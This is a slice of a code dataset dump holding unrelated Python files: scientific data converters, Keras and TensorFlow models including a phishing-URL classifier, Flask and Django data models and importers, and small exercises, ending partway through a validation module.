i in range(len(self.symbols)):\n print(i, symbols_correspondence[i], self.symbols[i])\n\n ################################################\n def __init__(self,sample_len=8):\n self.sample_len = sample_len\n self.symbols = self.genSample(16)\n\n\n\n","sub_path":"modules/Veri.py","file_name":"Veri.py","file_ext":"py","file_size_in_byte":6221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"200713234","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# ============================================================================\n# Dive - Media content finder tool\n# Common core module\n# Copyright (C) 2018 by Ralf Kilian\n# Distributed under the MIT License (https://opensource.org/licenses/MIT)\n#\n# Website: http://www.urbanware.org\n# GitHub: https://github.com/urbanware-org/dive\n# ============================================================================\n\n__version__ = \"2.1.3\"\n\nfrom . import paval as pv\nimport re\n\ndef compile_regex(string, ignore_case=True, regex_syntax=False):\n \"\"\"\n Compile a regular expression from the given string.\n \"\"\"\n pv.string(string, \"regular expression\", True, None)\n\n # Either use the professional way (regex syntax) or the simplified way\n # (only supports an asterisk as wildcard and semicolon as a seperator)\n if regex_syntax:\n pattern = \".*\" + string + \".*\"\n else:\n pattern = \"\"\n spec_chars = [ \"\\\\\", \".\", \"^\", \"$\", \"+\", \"?\", \"{\", \"}\", \"[\", \"]\", \"|\",\n \"(\", \")\" ]\n\n for char in spec_chars:\n string = string.replace(char, \"\\\\\" + char)\n\n string = string.strip(\"*\")\n string = string.strip(\";\")\n\n while (\"*\" * 2) in string:\n string = string.replace((\"*\" * 2), \"*\")\n\n while (\";\" * 2) in string:\n string = string.replace((\";\" * 2), \";\")\n\n list_string = string.split(\";\")\n for string in list_string:\n if not string == \"\":\n pattern += \"(.*\" + string.replace(\"*\", \".*\") + \".*)|\"\n pattern = pattern.rstrip(\"|\")\n\n if pattern == \"\":\n raise Exception(\"The given string does not make sense this way.\")\n\n if ignore_case:\n regex = re.compile(pattern, re.IGNORECASE)\n else:\n regex = re.compile(pattern)\n\n return regex\n\ndef get_max_digits(numbers):\n \"\"\"\n Return the amount of digits of the largest number.\n \"\"\"\n list_digits = []\n\n for item in numbers:\n list_digits.append(int(len(str(item))))\n\n return int(max(list_digits))\n\ndef get_version():\n \"\"\"\n Return the version of this module.\n \"\"\"\n return __version__\n\n# EOF\n\n","sub_path":"python3/core/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"262975139","text":"class User:\t\n def __init__(self, name, email):\n self.name = name\n self.email = email\n self.account = BankAccount(int_rate = 0.02, balance = 0)\n def make_deposit(self, amount):\t\n self.account.deposit(amount)\n return self\n def make_withdrawal(self, amount):\n self.account.withdraw(amount)\n return self\n def display_user_balance(self):\n print(f\"User: {self.name}\")\n self.account.display_account_info()\n return self\n def transfer_money(self, amount, User):\n self.account.withdraw(amount)\n User.account.deposit(amount)\n self.account.display_account_info()\n User.account.display_account_info()\n return self\nclass BankAccount:\n def __init__(self, int_rate = 0.02, balance = 0):\n self.balance = balance\n self.int_rate = int_rate\n def deposit(self, amount):\n self.balance += amount\n return self\n def withdraw(self, amount):\n if self.balance - amount < 0:\n print(\"Insufficient funds: Charging a $5 fee.\")\n self.balance -= 5\n self.balance -= amount\n return self\n else:\n self.balance -= amount\n return self\n def display_account_info(self):\n if self.balance > 0:\n print(f\"Balance: ${self.balance}\")\n elif self.balance < 0:\n self.balance *= -1\n print(f\"Balance: -${self.balance}\")\n return self\n else:\n return self\n return self\n def yield_interest(self):\n if self.balance > 0:\n self.balance = int(self.int_rate * self.balance) + self.balance\n return self\n else:\n return self\naccount_owner1 = User(\"Bob\", \"bob@mail.com\").make_deposit(500).make_deposit(200).make_deposit(1000).make_withdrawal(500).display_user_balance()\n\n# Bob = User(\"Bob\", \"bob@mail.com\").account.deposit(100).deposit(200).deposit(500).withdraw(300).yield_interest().display_account_info()\n# Bob.account = BankAccount(0.05, 500)\n# Bob.account.display_account_info()\n# Balance: $1050\n\n","sub_path":"oop_sandbox.py","file_name":"oop_sandbox.py","file_ext":"py","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"190193246","text":"import vtk\nimport os\n\n\ndef ensight2vtk(file_path, out_dir, file_name,\n vtu_out_1=\"wall_outfile_node.vtu\",\n vtu_out_2=\"inlet_outfile_node.vtu\", vtu_out_3=\"interior_outfile_node.vtu\",\n wall=True, inlet=True, interior=True):\n\n print(wall, inlet, interior)\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n\n reader = vtk.vtkEnSightGoldBinaryReader()\n reader.SetFilePath(file_path)\n reader.SetCaseFileName(file_name)\n reader.Update()\n\n # solution_writer = vtk.vtkXMLMultiBlockDataWriter()\n # solution_writer.SetFileName(os.path.join(out_dir, vtu_out_3))\n # solution_writer.SetInputData(reader.GetOutput())\n # solution_writer.Write()\n\n append = vtk.vtkAppendFilter()\n append.MergePointsOn()\n\n append2 = vtk.vtkAppendFilter()\n append2.MergePointsOn()\n\n append3 = vtk.vtkAppendFilter()\n append3.MergePointsOn()\n\n time_sets = reader.GetTimeSets()\n time_array = time_sets.GetItem(0)\n current_time = reader.GetTimeValue()\n print(current_time)\n\n if (wall):\n writer = vtk.vtkXMLUnstructuredGridWriter()\n writer.SetFileName(os.path.join(out_dir, vtu_out_1))\n writer.SetNumberOfTimeSteps(int(time_array.GetNumberOfTuples()))\n writer.SetInputConnection(append.GetOutputPort())\n writer.Start()\n\n if (inlet):\n writer2 = vtk.vtkXMLUnstructuredGridWriter()\n writer2.SetFileName(os.path.join(out_dir,vtu_out_2))\n writer2.SetNumberOfTimeSteps(int(time_array.GetNumberOfTuples()))\n writer2.SetInputConnection(append2.GetOutputPort())\n writer2.Start()\n if(interior):\n writer3 = vtk.vtkXMLUnstructuredGridWriter()\n writer3.SetFileName(os.path.join(out_dir,vtu_out_3))\n writer3.SetNumberOfTimeSteps(int(time_array.GetNumberOfTuples()))\n writer3.SetInputConnection(append3.GetOutputPort())\n writer3.Start()\n\n print(\"Number of Blocks: {0}\".format(time_array.GetNumberOfTuples()))\n for i in range(time_array.GetNumberOfTuples()):\n next_time = time_array.GetTuple(i)[0]\n\n print(next_time)\n if( current_time == next_time):\n print(\"first time\")\n pass\n else:\n # update the reader\n reader.SetTimeValue(next_time)\n current_time = next_time\n reader.Update()\n print(\"success\")\n #N = reader.GetNumberOfCellArrays()\n N = reader.GetOutput().GetNumberOfBlocks()\n for i in range(0, N):\n name = reader.GetOutput().GetMetaData(i).Get(vtk.vtkCompositeDataSet.NAME())\n if (wall):\n if (name.split(':')[-1] == \"wall\"):\n append.AddInputData(reader.GetOutput().GetBlock(i))\n print(\"saving just the {0} in block {1}\".format(name, i))\n if(inlet):\n if (name.split(\":\")[-1].split(\"_\")[0] in [\"inlet\", \"ica\"]):\n append2.AddInputData(reader.GetOutput().GetBlock(i))\n print(\"saving just the {0} in block {1}\".format(name, i))\n if(interior):\n if (name == \"default_interior-1\" or ':' not in name):\n append3.AddInputData(reader.GetOutput().GetBlock(i))\n print(\"saving just the {0} in block {1}\".format(name, i))\n\n if(wall):\n writer.WriteNextTime(current_time)\n if(inlet):\n writer2.WriteNextTime(current_time)\n if(interior):\n writer3.WriteNextTime(current_time)\n\n if (current_time == reader.GetMaximumTimeValue()):\n pass\n else:\n for i in range(0, N):\n name = reader.GetOutput().GetMetaData(i).Get(vtk.vtkCompositeDataSet.NAME())\n if (wall):\n if (name.split(':')[-1] == \"wall\"):\n append.RemoveInputData(reader.GetOutput().GetBlock(i))\n #print(\"removing the {0} in block {1}\".format(name, i))\n if(inlet):\n if (name.split(\":\")[-1].split(\"_\")[0] in [\"inlet\", \"ica\"]):\n append2.RemoveInputData(reader.GetOutput().GetBlock(i))\n #print(\"removing the {0} in block {1}\".format(name, i))\n if(interior):\n if (name == \"default_interior-1\" or ':' not in name):\n append3.RemoveInputData(reader.GetOutput().GetBlock(i))\n #print(\"removing the {0} in block {1}\".format(name, i))\n if(wall):\n writer.Stop()\n if(inlet):\n writer2.Stop()\n if(interior):\n writer3.Stop()\n\nif ( __name__ == '__main__' ):\n\n file_path = \"/raid/sansomk/caseFiles/mri/VWI_proj/case4/fluent_dsa/ensight/\"\n out_dir = \"/raid/sansomk/caseFiles/mri/VWI_proj/case4/fluent_dsa/vtk_out\"\n file_pattern = \"case4_dsa_0.15_fluent.encas\"\n ensight2vtk(file_path, out_dir, file_pattern)\n\n\n\n\"\"\"\nreader = vtk.vtkEnSightGoldBinaryReader()\nreader.SetFilePath(\"/raid/sansomk/caseFiles/mri/VWI_proj/case1/fluent_dsa2/ensight\")\nreader.SetCaseFileName(\"case1_dsa-5-6.0000.dat.encas\")\nreader.Update()\n#N = reader.GetNumberOfCellArrays()\nN = reader.GetNumberOfVariables()\n\nappend = vtk.vtkAppendFilter()\nappend.MergePointsOn()\nfor i in range(0, N):\n append.AddInputData(reader.GetOutput().GetBlock(i))\n\nappend.Update()\numesh = vtk.vtkUnstructuredGrid()\numesh = append.GetOutput()\n\nwriter = vtk.vtkXMLUnstructuredGridWriter()\nwriter.SetFileName(\"test.vtu\")\nwriter.SetInputData(umesh)\nwriter.Update()\n\"\"\"\n","sub_path":"vtk/ensight2vtk_single_encas.py","file_name":"ensight2vtk_single_encas.py","file_ext":"py","file_size_in_byte":5530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"410276554","text":"import tensorflow as tf\nimport numpy as np\ndef two_hidden_layers(x):\n assert x.shape.as_list() == [200, 100]\n w1 = tf.get_variable(\"h1_weights\", [100, 50], initializer=tf.random_normal_initializer())\n b1 = tf.get_variable(\"h1_biases\", [50], initializer=tf.constant_initializer(0.0))\n h1 = tf.matmul(x, w1) + b1\n assert h1.shape.as_list() == [200, 50] \n w2 = tf.get_variable(\"h2_weights\", [50, 10], initializer=tf.random_normal_initializer())\n b2 = tf.get_variable(\"h2_biases\", [10], initializer=tf.constant_initializer(0.0))\n logits = tf.matmul(h1, w2) + b2\n return logits\nx1 = tf.zeros((200, 100))\nx2 = tf.ones((200, 100))\nwith tf.variable_scope('two_layers') as scope:\n logits1 = two_hidden_layers(x1)\n # scope.reuse_variables()\n logits2 = two_hidden_layers(x2)\nwriter = tf.summary.FileWriter('./graph/', tf.get_default_graph())\nwriter.close()","sub_path":"my_tests/aaaa.py","file_name":"aaaa.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"314966866","text":"def block_list_by_indent(string_list, indent):\n\n def indent_separator(indent, string_list):\n import re\n\n get_separated_indents = re.compile(\"^((?:{})*)(.*)\".format(indent))\n get_all_indents = re.compile(\"{}\".format(indent))\n\n separated_data = []\n\n for data_string in string_list:\n indents, content = get_separated_indents.search(data_string).groups()\n\n if content.strip():\n offset = len(get_all_indents.findall(indents))\n separated_data.append({\n \"offset\": offset,\n \"content\": content\n })\n\n return separated_data\n\n def block_maker(separated_data, index, offset_line):\n block_list = []\n\n while True:\n if separated_data[index:index +1]:\n item = separated_data[index]\n\n if item[\"offset\"] >= offset_line:\n children, index = block_maker(separated_data, index +1, item[\"offset\"] +1)\n block_list.append({\n \"content\": item[\"content\"],\n \"children\": children\n })\n else:\n break\n else:\n break\n\n return [block_list, index]\n\n separated_data = indent_separator(indent, string_list)\n block_list = block_maker(separated_data, 0, 0)[0]\n\n return block_list\n","sub_path":"source/block_list_by_indent_recursive/block_list_by_indent.py","file_name":"block_list_by_indent.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"370461884","text":"# Python core imports\nimport os\nimport csv\nimport json\n\n# django local imports\nfrom app.club.models import *\nfrom django.core.management.base import BaseCommand\nfrom datetime import datetime\nfrom UCLeague.settings import BASE_DIR\n\nclass Command(BaseCommand):\n def import_data_group(self):\n data = os.path.join(BASE_DIR, 'app', 'club/management/commands')\n path = data + '/data.json'\n json_path = open(path)\n datas = json.load(json_path)\n \n for data in datas['data']:\n \n try:\n team, created = Team.objects.get_or_create(club_name=data['club_name'],\n club_type=data['club_type'],\n club_state=data['club_state'],\n club_year=data['club_year']\n )\n \n if created or team:\n team.save()\n display_format = '\\n Team, {}, has been saved'\n print(display_format.format(team))\n \n\n except Exception as ex:\n print(str(ex))\n msg = \"\\n\\nSomething went wrong saving this movie: {}\\n{}\".format(title, str(ex))\n print(msg)\n\n \n\n\n\n\n\n\n def handle(self, *args, **options):\n \"\"\"\n Call the function to import data\n \"\"\"\n self.import_data_group()","sub_path":"app/club/management/commands/load_data_group.py","file_name":"load_data_group.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"330223107","text":"# %load q04_count/build.py\n# Default Imports\nfrom greyatomlib.python_getting_started.q01_read_data.build import read_data\ndata = read_data()\n\n# Your Solution Here\ndef deliveries_count(data=data):\n firstinn_data = data['innings'][0]['1st innings']['deliveries']\n balls_faced = 0\n for f in firstinn_data:\n if f.values()[0]['batsman']=='RT Ponting':\n balls_faced=balls_faced+1\n return balls_faced\n","sub_path":"q04_count/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"373570372","text":"from fortress.core.cfg.node import NodeType\nfrom fortress.formatters.utils.patches import create_patch\nfrom fortress.tools.mutator.mutators.abstract_mutator import AbstractMutator, FaultNature, FaulClass\n\n\nclass MIA(AbstractMutator): # pylint: disable=too-few-public-methods\n NAME = \"MIA\"\n HELP = '\"if\" construct around statement'\n FAULTCLASS = FaulClass.Checking\n FAULTNATURE = FaultNature.Missing\n\n def _mutate(self):\n\n result = dict()\n\n for contract in self.fortress.contracts:\n\n for function in contract.functions_declared + contract.modifiers_declared:\n\n for node in function.nodes:\n if node.type == NodeType.IF:\n # Retrieve the file\n in_file = contract.source_mapping[\"filename_absolute\"]\n # Retrieve the source code\n in_file_str = contract.fortress.source_code[in_file]\n\n # Get the string\n start = node.source_mapping[\"start\"]\n stop = start + node.source_mapping[\"length\"]\n old_str = in_file_str[start:stop]\n\n # Replace the expression with true\n new_str = \"true\"\n\n create_patch(result, in_file, start, stop, old_str, new_str)\n\n return result\n","sub_path":"fortress/tools/mutator/mutators/MIA.py","file_name":"MIA.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"379673956","text":"from flask_compress import Compress\nCOMPRESS_MIMETYPES = ['text/html', 'text/css', 'text/xml', 'application/json', 'application/javascript']\nCOMPRESS_LEVEL = 6\nCOMPRESS_MIN_SIZE = 500\nCACHE_TYPE = 'simple'\n\ndef configure_app(app):\n Compress(app)\n\n \n","sub_path":"misc_features/rosjs_joystick/joy_gui/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"352325133","text":"from keras.models import Sequential\r\nfrom keras.layers import Dense,Flatten,Dropout\r\nimport numpy as np\r\nfrom sklearn.model_selection import cross_val_score\r\nfrom sklearn.model_selection import StratifiedKFold\r\nfrom keras.wrappers.scikit_learn import KerasClassifier\r\nfrom keras.layers.embeddings import Embedding\r\nfrom keras.layers.convolutional import Conv1D, MaxPooling1D\r\nfrom preprocess_word_cnn import convert_urls_to_vector\r\nfrom evaluating_indicator import metric_F1score,metric_precision,metric_recall\r\n# 设定随机数种子\r\nseed = 7\r\nnp.random.seed(seed)\r\n#词典大小\r\n#word_size=0\r\n#url分词后的长度\r\nurl_len = 300\r\n#嵌入层输出字符维度\r\nout_dimension = 64\r\nword_size=185\r\n\r\n#k折交叉验证,使用StratifiedKFold类将数据集分成10个子集\r\nkfold = StratifiedKFold(n_splits=10, random_state=seed, shuffle=True)\r\n#所有的epochs(1,2,3...20)训练准确率\r\ntaccuracy_count=[]\r\n#所有的epochs(1,2,3...20)测试准确率,精准率,F1值,召回率\r\nvaccuracy_count = []\r\nF1_count=[]\r\nprecision_count=[]\r\nrecall_count=[]\r\n\r\n\r\n\r\ndef create_model():\r\n model = Sequential()\r\n # 构建嵌入层\r\n model.add(Embedding(word_size, out_dimension, input_length=url_len))\r\n # 1维度卷积层\r\n model.add(Conv1D(filters=200, kernel_size=2, padding='same', activation='relu'))\r\n model.add(MaxPooling1D(pool_size=2))\r\n model.add(Flatten())\r\n model.add(Dense(250, activation='relu'))\r\n model.add(Dropout(0.5))\r\n model.add(Dense(1, activation='sigmoid'))\r\n model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy',metric_precision,metric_recall,metric_F1score])\r\n model.summary()\r\n return model\r\n\r\n\r\ndef main():\r\n file_names = [\"dataset/phishing_url.txt\", \"dataset/cc_1_first_9617_urls\"]\r\n is_phishing = [True, False]\r\n x,y,unique_word = convert_urls_to_vector(file_names, is_phishing)\r\n #word_size=unique_word\r\n # 创建模型 for scikit-learn\r\n #model = KerasClassifier(build_fn=create_model, epochs=1, batch_size=10)\r\n # 10折交叉验证\r\n # kfold = StratifiedKFold(n_splits=10, shuffle=True, random_state=seed)\r\n # 训练并验证模型,每个epochs(包含150个epoch)后都有验证集去验证模型,总共进行k=10次。\r\n #results = cross_val_score(model, x, y, cv=kfold)\r\n #print(results.mean())\r\n\r\n for epoch in range(1, 31):\r\n\r\n vaccuracy = []\r\n\r\n taccuracy = []\r\n\r\n precision=[]\r\n\r\n recall=[]\r\n\r\n F1=[]\r\n\r\n for train, validation in kfold.split(x, y):\r\n model=create_model()\r\n history = model.fit(x[train], y[train], epochs=epoch, batch_size=100).history\r\n\r\n tac = history[\"accuracy\"][epoch - 1]\r\n\r\n vac = model.evaluate(x[validation], y[validation], verbose=0)\r\n\r\n taccuracy.append(tac)\r\n\r\n vaccuracy.append(vac[1])\r\n precision.append(vac[2])\r\n recall.append(vac[3])\r\n F1.append(vac[4])\r\n\r\n taccuracy_count.append(np.mean(taccuracy))\r\n vaccuracy_count.append(np.mean(vaccuracy))\r\n precision_count.append(np.mean(precision))\r\n recall_count.append(np.mean(recall))\r\n F1_count.append(np.mean(F1))\r\n f = open(r\"E:\\daima-sx\\test2\\result\\evaluating_indicator_word\", \"w+\")\r\n f.writelines('taccuracy_count'+str(taccuracy_count)+'\\n')\r\n f.writelines('vaccuracy_count'+str(vaccuracy_count)+'\\n')\r\n f.writelines('precision_count' + str(precision_count)+'\\n')\r\n f.writelines('recall_count' + str(recall_count)+'\\n')\r\n f.writelines('F1_count' + str(F1_count) + '\\n')\r\n f.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"word_cnn_cross_validation.py","file_name":"word_cnn_cross_validation.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"388790597","text":"#!/usr/bin/env python2.7\n\nimport sys\n\n#define lengths\nlen_fare = 11\nlen_data = 14\n\n# input comes from STDIN (standard input)\nfor line in sys.stdin:\n if (line[0] == 'm'):\n continue\n\n line = line.strip()\n elems = line.split(\",\")\n\n #if line from fare data\n if (len(elems) == len_fare):\n #create key\n key = [elems[0], elems[3]]\n\n #create value\n value = [elems[1], elems[2]]\n for i in range(4,len_fare):\n value.append(elems[i])\n\n #if line from trip data\n if (len(elems) == len_data):\n #create key\n key = [elems[0], elems[5]]\n\n #create value\n value = [elems[1], elems[2],elems[3], elems[4]]\n for i in range(6,len_data):\n value.append(elems[i])\n\n #print output key (cvs) value (csv) in a tsv file\n print(\",\".join(key) + '\\t' + \",\".join(value))\n","sub_path":"join_map.py","file_name":"join_map.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"468153575","text":"from flask_sqlalchemy import SQLAlchemy\n\ndb = SQLAlchemy()\n\nclass DBManager():\n\n @staticmethod\n def commitSession():\n db.session.commit()\n\nclass ModelHelper():\n\n def save(self):\n db.session.add(self)\n\n def delete(self):\n db.session.delete(self)\n\nclass User(db.Model, ModelHelper):\n id = db.Column(db.Integer, primary_key=True)\n email = db.Column(db.String(120), unique=True, nullable=False)\n password = db.Column(db.String(80), unique=False, nullable=False)\n full_name = db.Column(db.String(120), unique=False, nullable=False)\n phone = db.Column(db.Integer, unique=False, nullable=False)\n is_active = db.Column(db.Boolean(), unique=False, nullable=False)\n #Claves ajenas:\n role_id = db.Column(db.Integer, db.ForeignKey('role.id'), unique=False, nullable=False)\n # One \n role = db.relationship(\"Role\", back_populates=\"users\", lazy=True)\n # Many Relacion bidireccional :\n orders = db.relationship(\"Order\", back_populates=\"helper\", lazy=True)\n documents = db.relationship(\"Document\", back_populates=\"user\", lazy=True)\n addresses = db.relationship(\"Address\", back_populates=\"user\", lazy=True)\n \n def __repr__(self):\n return '' % self.full_name\n\n def serialize(self):\n return {\n \"id\": self.id,\n \"email\": self.email,\n \"full_name\": self.full_name,\n \"phone\": self.phone,\n \"role_id\": self.role_id\n }\n\nclass Order(db.Model, ModelHelper): \n id = db.Column(db.Integer, primary_key=True) \n description = db.Column(db.String(120), unique=False, nullable=False) \n # Claves Foráneas:\n helper_id = db.Column(db.Integer, db.ForeignKey('user.id'), unique=False, nullable=False)\n status_id = db.Column(db.Integer, db.ForeignKey('status.id'), unique=False, nullable=False)\n address_delivery_id = db.Column(db.Integer, db.ForeignKey('address.id'), unique=False)\n address_pickup_id = db.Column(db.Integer, db.ForeignKey('address.id'), unique=False)\n # Relaciones bidireccionales:\n #one\n helper = db.relationship(\"User\", back_populates=\"orders\", lazy=True)\n status = db.relationship(\"Status\", back_populates=\"orders\", lazy=True)\n address_delivery = db.relationship(\"Address\", foreign_keys=[address_delivery_id])\n address_pickup = db.relationship(\"Address\", foreign_keys=[address_pickup_id])\n #many\n documents = db.relationship(\"Document\", back_populates=\"order\", lazy=True)\n\n def __repr__(self):\n return '' % self.id\n\n def serialize(self):\n return {\n \"id\": self.id,\n \"helper_id\": self.helper_id,\n \"helper\": self.helper.serialize(),\n \"status\": self.status.serialize(),\n \"status_id\": self.status_id,\n \"description\": self.description\n }\n\n def serializeForEditView(self):\n order = self.serialize()\n order[\"documents\"] = list(map(lambda document: document.serialize(), self.documents))\n if self.address_delivery:\n order[\"address_delivery\"] = self.address_delivery.serialize()\n if self.address_pickup:\n order[\"address_pickup\"] = self.address_pickup.serialize()\n return order\n\nclass Status(db.Model, ModelHelper): \n id = db.Column(db.Integer, primary_key=True) \n name = db.Column(db.String(80), unique=False, nullable=False)\n # Relaciones bidireccionales:\n orders = db.relationship(\"Order\", back_populates=\"status\", lazy=True)\n\n PENDING_STATUS_ID = 1\n REJECTED_STATUS_ID = 2\n PROCESSING_STATUS_ID = 3\n READY_STATUS_ID = 4\n\n def __repr__(self):\n return '' % self.id\n\n def serialize(self):\n return {\n \"id\": self.id,\n \"name\": self.name \n } \n\nclass Role(db.Model, ModelHelper): \n id = db.Column(db.Integer, primary_key=True) \n name = db.Column(db.String(20), unique=False, nullable=False) \n # Relaciones bidireccionales:\n users = db.relationship(\"User\", back_populates=\"role\", lazy=True)\n\n ADMIN_ROLE_ID = 1\n MANAGER_ROLE_ID = 2\n HELPER_ROLE_ID = 3\n\n def __repr__(self):\n return '' % self.name\n\n def serialize(self):\n return {\n \"id\": self.id,\n \"name\": self.name \n }\n\nclass Document(db.Model, ModelHelper): \n id = db.Column(db.Integer, primary_key=True) \n name = db.Column(db.String(250), unique=False, nullable=False) \n url = db.Column(db.String(255), unique=False, nullable=False) \n # Claves Foráneas:\n order_id = db.Column(db.Integer, db.ForeignKey('order.id'), unique=False, nullable=False)\n user_id = db.Column(db.Integer, db.ForeignKey('user.id'), unique=False, nullable=False)\n # Relaciones bidireccionales:\n user = db.relationship(\"User\", back_populates=\"documents\", lazy=True)\n order = db.relationship(\"Order\", back_populates=\"documents\", lazy=True)\n\n def __repr__(self):\n return '' % self.id\n\n def serialize(self):\n return {\n \"id\": self.id,\n \"name\": self.name,\n \"url\": self.url,\n \"user_id\": self.user_id\n }\n\nclass Address(db.Model, ModelHelper): \n id = db.Column(db.Integer, primary_key=True)\n address = db.Column(db.String(120), unique=False, nullable=False)\n city = db.Column(db.String(120), unique=False, nullable=False)\n country = db.Column(db.String(120), unique=False, nullable=False)\n cp = db.Column(db.String(6), unique=False, nullable=False)\n # Claves Foráneas:\n user_id = db.Column(db.Integer, db.ForeignKey('user.id'), unique=False, nullable=False)\n # Relaciones bidireccionales:\n user = db.relationship(\"User\", back_populates=\"addresses\", lazy=True)\n #delivery_orders = db.relationship(\"Order\", foreign_keys=[address_pickup_id])\n #pickup_orders = db.relationship(\"Order\", back_populates=\"address_pickup\", lazy=True)\n\n def __repr__(self):\n return '
' % self.id\n\n def serialize(self):\n return {\n \"id\": self.id,\n \"address\": self.address,\n \"city\": self.city,\n \"country\": self.country,\n \"cp\": self.cp,\n } \n","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"399749989","text":"#!/usr/bin/env python\n\nimport unittest\nimport math\nimport numpy as np\nimport plane_test as file\nimport time\n\ntest_count = 0\n\ndef assertEqual(return_val, expected):\n\tglobal test_count\t\n\ttest_count += 1\n\tx= return_val\n\ty= expected\n\tif x is not None and y is not None:\n\t\tx = np.around(np.absolute(return_val/np.linalg.norm(return_val)), decimals=5)\n\t\ty = np.around(np.absolute(expected/np.linalg.norm(expected)), decimals=5)\n\treturn np.array_equal(x,y)\n\ndef test_valid_plane_finder():\n\n\tglobal test_count\t\n\tprint(\"----------------------------------------------------------------------\")\n\n\tcheck = True\n\ttest_count = 0\n\tt = time.time()\n\n\tcheck *= assertEqual(file.plane_finder(np.array([1,1,-2]),np.array([2,3,-5]),np.array([-2,-4,6])),np.array([1,1,1,0]))\n\tcheck *= assertEqual(file.plane_finder(np.array([1,1,-1]),np.array([3,4,-6]),np.array([-2,-5,8])),np.array([1,1,1,-1]))\n\tcheck *= assertEqual(file.plane_finder(np.array([1,-10,-123]),np.array([1,7,2]),np.array([1,5,6])),np.array([1,0,0,-1]))\n\tcheck *= assertEqual(file.plane_finder(np.array([2,0,3]),np.array([3,545,4]),np.array([5,5,6])),np.array([1,0,-1,1]))\n\n\telapsed = time.time() - t\n\tprint(\"Ran %d test in %fsec\" % (test_count, elapsed))\n\tif not check:\n\t\tprint(\"1 or more tests failed\")\n\telse:\n\t\tprint(\"All OK\")\n\ndef test_invalid_plane_finder():\n\n\tglobal test_count\t\n\tprint(\"----------------------------------------------------------------------\")\n\n\tcheck = True\n\ttest_count = 0\n\tt = time.time()\n\n\tcheck *= assertEqual(file.plane_finder(np.array([1,1,1]),np.array([2,2,2]),np.array([-1,0,1])), None)\n\tcheck *= assertEqual(file.plane_finder(np.array([2,2,2]),np.array([4,4,4]),np.array([5,5,5])), None)\n\tcheck *= assertEqual(file.plane_finder(np.array([1,1,1]),np.array([3,5,6]),np.array([1,1,1])), None)\n\tcheck *= assertEqual(file.plane_finder(np.array([1,1,1]),np.array([1,1,1]),np.array([1,1,1])), None)\n\n\telapsed = time.time() - t\n\tprint(\"Ran %d test in %fsec\" % (test_count, elapsed))\n\tif not check:\n\t\tprint(\"1 or more tests failed\")\n\telse:\n\t\tprint(\"All OK\")\n\n\nif __name__ == '__main__':\n\ttest_valid_plane_finder()\n\ttest_invalid_plane_finder()\n","sub_path":"scripts/equation_tester.py","file_name":"equation_tester.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"116070904","text":"#\n# Copyright (C) 2012-2016 Craig Hobbs\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n#\n\nfrom datetime import date, datetime\nfrom decimal import Decimal\nfrom itertools import chain\nfrom math import isnan, isinf\nfrom uuid import UUID\n\nfrom .util import TZLOCAL, parse_iso8601_date, parse_iso8601_datetime\n\n\n# Validation mode\nVALIDATE_DEFAULT = 0\nVALIDATE_QUERY_STRING = 1\nVALIDATE_JSON_INPUT = 2\n\n# Immutable validation modes\nIMMUTABLE_VALIDATION_MODES = (VALIDATE_DEFAULT,)\n\n\n# Type attribute exception\nclass AttributeValidationError(Exception):\n __slots__ = ('attr',)\n\n def __init__(self, attr):\n Exception.__init__(self, \"Invalid attribute '\" + attr + \"'\")\n self.attr = attr\n\n\n# Type validation exception\nclass ValidationError(Exception):\n 